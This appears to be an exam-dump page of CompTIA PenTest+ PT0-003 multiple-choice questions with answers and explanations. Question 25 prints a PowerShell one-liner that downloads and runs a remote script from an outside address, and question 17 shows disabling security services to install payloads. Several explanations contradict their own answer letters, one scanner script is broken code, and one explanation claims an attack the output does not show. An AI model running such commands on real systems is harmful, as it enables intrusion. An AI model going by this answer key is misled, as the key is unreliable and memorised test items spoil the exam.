CompTIA PT0-003 Exam Questions (Updated 2025) 100% Real Question Answers
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CompTIA PT0-003 Exam Syllabus Topics:
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NEW QUESTION # 10
What is the role of a peer review in the penetration testing process before releasing a report to the client?
- A. A cybersecurity industry peer
- B. The customer's designated contact
- C. A team member
- D. A generative AI assistant
Answer: C
Explanation:
Before releasing a penetration test report to the client, peer review by another qualified team member ensures:
* Accuracy of findings
* Technical validity of vulnerabilities and exploits
* Proper severity ratings
* Professional clarity (avoiding errors/typos)
* Compliance with reporting standards
This process is part of quality assurance and ensures the client receives a polished, correct report.
Why not the others?
* A. Generative AI assistant: Not appropriate or approved in official PT0-003; confidentiality risks.
* B. Customer's designated contact: They review after delivery, not before.
* C. Cybersecurity industry peer: Would break confidentiality and violate engagement scope.
CompTIA PT0-003 Mapping:
* Domain 5.0: Reporting and Communication
* 5.3: Explain post-report delivery activities and processes (peer review, validation of accuracy).
NEW QUESTION # 11
Which of the following is an advanced command and control (C2) framework designed for stealthy post-exploitation in red team operations?
- A. Covenant
- B. ProxyChains
- C. sshuttle
- D. PsExec
Answer: A
Explanation:
C2 servers are used to remotely control compromised systems while avoiding detection.
* Covenant (Option B):
* Covenant is an advanced C2 framework designed for stealthy post-exploitation in red team operations.
* Supports encrypted communication, privilege escalation, and evasion techniques.
NEW QUESTION # 12
Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?
- A. Site survey
- B. Tailgating
- C. Badge cloning
- D. Shoulder surfing
Answer: B
Explanation:
Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.
* Tailgating:
* Definition: Tailgating occurs when an unauthorized person follows an authorized person into a restricted area without the latter's consent or knowledge. The authorized person typically opens a door or checkpoint, and the unauthorized person slips in behind them.
* Example: An attacker waits near the entrance of a building and enters right after an employee, bypassing security measures.
* Physical Security:
* Importance: Physical security is a crucial aspect of overall security posture. Tailgating exploits human factors and weaknesses in physical security controls.
* Prevention: Security measures such as turnstiles, mantraps, and security personnel can help prevent tailgating.
* Pentest References:
* Physical Penetration Testing: Tailgating is a common technique used in physical penetration tests to assess the effectiveness of an organization's physical security controls.
* Social Engineering: Tailgating often involves social engineering, where the attacker relies on the politeness or unawareness of the employee to gain unauthorized access.
By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization's physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.
NEW QUESTION # 13
SIMULATION
Using the output, identify potential attack vectors that should be further investigated.
Answer:
Explanation:
See explanation below.
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)
NEW QUESTION # 14
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?
- A. Initialization vector
- B. ChopChop
- C. Replay
- D. KRACK
Answer: D
Explanation:
KRACK (Key Reinstallation Attack) exploits a vulnerability in the WPA2 protocol to decrypt and inject packets, potentially allowing an attacker to break the encryption key and gain access to the Wi-Fi network.
NEW QUESTION # 15
A penetration tester launches an attack against company employees. The tester clones the company's intranet login page and sends the link via email to all employees.
Which of the following best describes the objective and tool selected by the tester to perform this activity?
- A. Harvesting credentials using SET
- B. Obtaining the list of email addresses using theHarvester
- C. Gaining remote access using BeEF
- D. Launching a phishing campaign using GoPhish
Answer: A
Explanation:
The tester is conducting a phishing attack by cloning the company's login page to steal employee credentials.
* Option A (BeEF) #: BeEF is used for browser exploitation, not phishing.
* Option B (theHarvester) #: Used for OSINT, gathering emails, but does not conduct phishing attacks.
* Option C (SET - Social Engineering Toolkit) #: Correct.
* SET allows testers to clone web pages and perform phishing attacks.
* Option D (GoPhish) #: GoPhish is a phishing simulation tool, but SET is specifically designed for credential harvesting.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Social Engineering & Phishing Attacks
NEW QUESTION # 16
A penetration tester is reviewing the logs of a proxy server and discovers the following URLs:
https://test.comptia.com/profile.php?userid=1546
https://test.cpmptia.com/profile.php?userid=5482
https://test.comptia.com/profile.php?userid=3618
Which of the following types of vulnerabilities should be remediated?
- A. Race condition
- B. Insecure direct object reference
- C. Weak or default configurations
- D. Improper error handling
Answer: B
Explanation:
Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input. In the provided URLs, the userid parameter is directly referenced, which can allow attackers to manipulate these references to access unauthorized data. This vulnerability can lead to unauthorized access to other users' profiles by simply changing the userid parameter value. The other vulnerabilities listed (Improper error handling, Race condition, Weak or default configurations) do not directly relate to the issue demonstrated by the URLs.
NEW QUESTION # 17
A penetration tester gains shell access to a Windows host. The tester needs to permanently turn off protections in order to install additional payload. Which of the following commands is most appropriate?
- A. net config <svc_name>
- B. sc query state= all
- C. sc config <svc_name> start=disabled
- D. pskill <pid_svc_name>
Answer: C
Explanation:
* Command Explanation:
* The sc config command is used to configure service startup settings in Windows. Using start=disabled will permanently disable a specific service, effectively turning off protections such as antivirus or other monitoring services.
* Why Not Other Options?
* B (sc query state= all): This command lists all services and their states but does not disable or modify any service.
* C (pskill): This command is used to terminate a process temporarily, but it does not permanently disable the service.
* D (net config): This command is used for configuring network settings, not for managing services.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)
* Windows Service Exploitation Guidelines
NEW QUESTION # 18
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:
Server High-severity vulnerabilities
1. Development sandbox server 32
2. Back office file transfer server 51
3. Perimeter network web server 14
4. Developer QA server 92
The client is concerned about the availability of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
- A. Server 4
- B. Server 1
- C. Server 3
- D. Server 2
Answer: C
Explanation:
Client Concern:
Availability: The client is specifically concerned about the availability of their consumer-facing production application. Ensuring this application is secure and available is crucial to the business.
Server Analysis:
Server 1 (Development sandbox server): Typically not a production server; vulnerabilities here are less likely to impact the consumer-facing application.
Server 2 (Back office file transfer server): Important but generally more internal-facing and less likely to directly affect the consumer-facing application.
Server 3 (Perimeter network web server): Likely hosts the consumer-facing application or critical services related to it. High-severity vulnerabilities here could directly impact availability.
Server 4 (Developer QA server): Similar to Server 1, more likely to be used for testing rather than production, making it less critical for immediate manual testing.
Pentest Reference:
Risk Prioritization: Focus on assets that have the most significant impact on business operations, especially those directly facing consumers.
Critical Infrastructure: Ensuring the security and availability of web servers exposed to the internet as they are prime targets for attacks.
By selecting Server 3 (the perimeter network web server) for additional manual testing, the penetration tester addresses the client's primary concern about the availability and security of the consumer-facing production application.
NEW QUESTION # 19
Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?
- A. NDA
- B. SLA
- C. SOW
- D. MSA
Answer: C
Explanation:
The document that is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables is the SOW (Statement of Work). The SOW is a formal document that describes the objectives, expectations, and responsibilities of the penetration-testing project2. The SOW should be clear, concise, and comprehensive to avoid any ambiguity or misunderstanding.
NEW QUESTION # 20
A penetration tester is enumerating a Linux system. The goal is to modify the following script to provide more comprehensive system information:
#!/bin/bash
ps aux >> linux_enum.txt
Which of the following lines would provide the most comprehensive enumeration of the system?
- A. lsof -i >> linux_enum.txt; uname -a >> linux_enum.txt; ls /home/ >> linux_enum.txt
- B. hostname >> linux_enum.txt; echo $USER >> linux_enum.txt; curl ifconfig.me >> linux_enum.txt
- C. cat /etc/passwd >> linux_enum.txt; netstat -tuln >> linux_enum.txt; cat /etc/bash.bashrc >> linux_enum.
txt - D. whoami >> linux_enum.txt; uname -a >> linux_enum.txt; ifconfig >> linux_enum.txt
Answer: C
Explanation:
This command gathers:
/etc/passwd - lists all local user accounts.
netstat -tuln - lists listening ports and associated services.
/etc/bash.bashrc - contains environment variables and configurations that could reveal system behaviors or hidden persistence mechanisms.
This provides a much broader and deeper enumeration compared to other options.
Reference: PT0-003 Objective 4.1 - Post-exploitation techniques including enumeration of system users, services, and configurations.
NEW QUESTION # 21
During a security assessment, a penetration tester decides to implement a simple TCP port scanner to check the open ports from 1000 to 2000. Which of the following Python scripts would achieve this task?
- A. fori in range (1000, 2000): s = socket(SOCK_STREAM, AF_INET) conn = s.connect-ex((host-IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close()
- B. close ()
- C. fori in range(1000, 2001): s = socket(AF-INET, SOCK_DGRAM) conn = s.connect-ex((host_IP, i)) if (conn == 0): print(f'Port {i} OPEN') s.close ()
- D. fori in range(1001, 2000): s = socket(AF_INET, SOCK_STREAM) conn = s.connect-ex((host_IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close ()
- E. fori in range(1000, 2001): s = socket(AF_INET, SOCK_STREAM)
conn = s.connect_ex((host_IP, i))
if (conn == 0):
print(fPort {i} OPEN')
Answer: E
Explanation:
The correct Python script for implementing a simple TCP port scanner that checks for open ports from 1000 to 2000 is option A. This script uses a for loop to iterate through the range of ports, creates a socket object for each port using the socket.AF_INET address family (indicating IPv4) and socket.SOCK_STREAM socket type (indicating TCP), and attempts to connect to each port. If the connection attempt (connect_ex) returns 0, it indicates the port is open, and the script prints a message stating that the port is open before closing the socket. The other options contain syntax errors, use incorrect socket types, or have incorrect ranges that do not fully cover the specified ports.
NEW QUESTION # 22
A penetration tester is testing a new API for the company's existing services and is preparing the following script:
Which of the following would the test discover?
- A. Supported HTTP methods
- B. Listening web servers in a domain
- C. Default web configurations
- D. Open web ports on a host
Answer: A
Explanation:
The script is using the requests library to send an OPTIONS request to the API endpoint, which returns a list of supported HTTP methods for that resource. This can help the penetration tester to identify potential attack vectors or vulnerabilities based on the methods allowed.
NEW QUESTION # 23
curl -s -i https://internalapp/
HTTP/2 302
date: Thu, 11 Jan 2024 15:56:24 GMT
content-type: text/html; charset=iso-8659-1
location: /login
x-content-type-options: nosniff
server: Prod
Which of the following recommendations should the penetration tester include in the report?
- A. Attach the httponly flag to cookies.
- B. Add the HSTS header to the server.
- C. Remove the x-content-type-options header.
- D. Front the web application with a firewall rule to block access to port 80.
Answer: B
Explanation:
The tester identified an HTTPS downgrade attack (e.g., SSL stripping). The best mitigation is to enforce HSTS (HTTP Strict Transport Security).
* HSTS (Option A):
* HSTS (Strict-Transport-Security) ensures that the browser always uses HTTPS, preventing downgrade attacks.
* Example header:
Strict-Transport-Security: max-age=31536000; includeSubDomains
NEW QUESTION # 24
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?
- A. KARMA attack
- B. MAC address spoofing
- C. Eavesdropping
- D. Beacon flooding
Answer: A
Explanation:
To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.
Explanation:
* KARMA Attack:
* Definition: KARMA (KARMA Attacks Radio Machines Automatically) is an attack technique that exploits the tendency of wireless clients to automatically connect to previously connected wireless networks.
* Mechanism: Attackers set up a rogue access point that impersonates a legitimate wireless network. When clients automatically connect to this rogue AP, attackers can capture credentials or provide malicious services.
* Purpose:
* Unauthorized Access: By setting up a rogue access point, attackers can trick legitimate clients into connecting to their network, thereby gaining unauthorized access.
* Other Options:
* Beacon Flooding: Involves sending a large number of fake beacon frames to create noise and disrupt network operations. Not directly useful for gaining unauthorized access.
* MAC Address Spoofing: Involves changing the MAC address of an attacking device to match a trusted device. Useful for bypassing MAC-based access controls but not specific to wireless network authentication.
* Eavesdropping: Involves intercepting and listening to network traffic, useful for gathering information but not directly for gaining unauthorized access.
Pentest References:
* Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.
* Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.
By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.
NEW QUESTION # 25
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") { echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -} Which of the following is the penetration tester most likely trying to do?
- A. Log the internet browsing history for a systems administrator.
- B. Change the system's wallpaper based on the current user's preferences.
- C. Conditionally stage and execute a remote script.
- D. Capture the administrator's password and transmit it to a remote server.
Answer: C
Explanation:
Script Breakdown:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1]: Retrieves the current username.
If ($1 -eq "administrator"): Checks if the current user is "administrator".
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -}: If the user is "administrator", downloads and executes a PowerShell script from a remote server.
Purpose:
Conditional Execution: Ensures the script runs only if executed by an administrator.
Remote Script Execution: Uses IEX (Invoke-Expression) to download and execute a script from a remote server, a common method for staging payloads.
Why This is the Best Choice:
This script aims to conditionally download and execute a remote script based on the user's privileges. It is designed to stage further attacks or payloads only if the current user has administrative privileges.
Reference from Pentesting Literature:
The technique of conditionally executing scripts based on user privileges and using remote script execution is discussed in penetration testing guides and is a common tactic in various HTB write-ups.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 26
A penetration tester breaks into a company's office building and discovers the company does not have a shredding service. Which of the following attacks should the penetration tester try next?
- A. Phishing
- B. Shoulder surfing
- C. Dumpster diving
- D. Tailgating
Answer: C
Explanation:
The penetration tester should try dumpster diving next, which is an attack that involves searching through trash bins or dumpsters for discarded documents or items that may contain sensitive or useful information.
Dumpster diving can reveal information such as passwords, account numbers, credit card numbers, invoices, receipts, memos, contracts, or employee records. The penetration tester can use this information to gain access to systems or networks, impersonate users or employees, or perform social engineering attacks. The other options are not likely attacks that the penetration tester should try next based on the discovery that the company does not have a shredding service. Phishing is an attack that involves sending fraudulent emails that appear to be from legitimate sources to trick users into revealing their credentials or clicking on malicious links or attachments. Shoulder surfing is an attack that involves observing or spying on users while they enter their credentials or perform other tasks on their devices. Tailgating is an attack that involves following authorized personnel into a restricted area without proper authorization or identification.
NEW QUESTION # 27
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
Explanation:
1. Reflected XSS - Input sanitization (<> ...)
2. Sql Injection Stacked - Parameterized Queries
3. DOM XSS - Input Sanitization (<> ...)
4. Local File Inclusion - sandbox req
5. Command Injection - sandbox req
6. SQLi union - paramtrized queries
7. SQLi error - paramtrized queries
8. Remote File Inclusion - sandbox
9. Command Injection - input saniti $
10. URL redirect - prevent external calls
NEW QUESTION # 28
......
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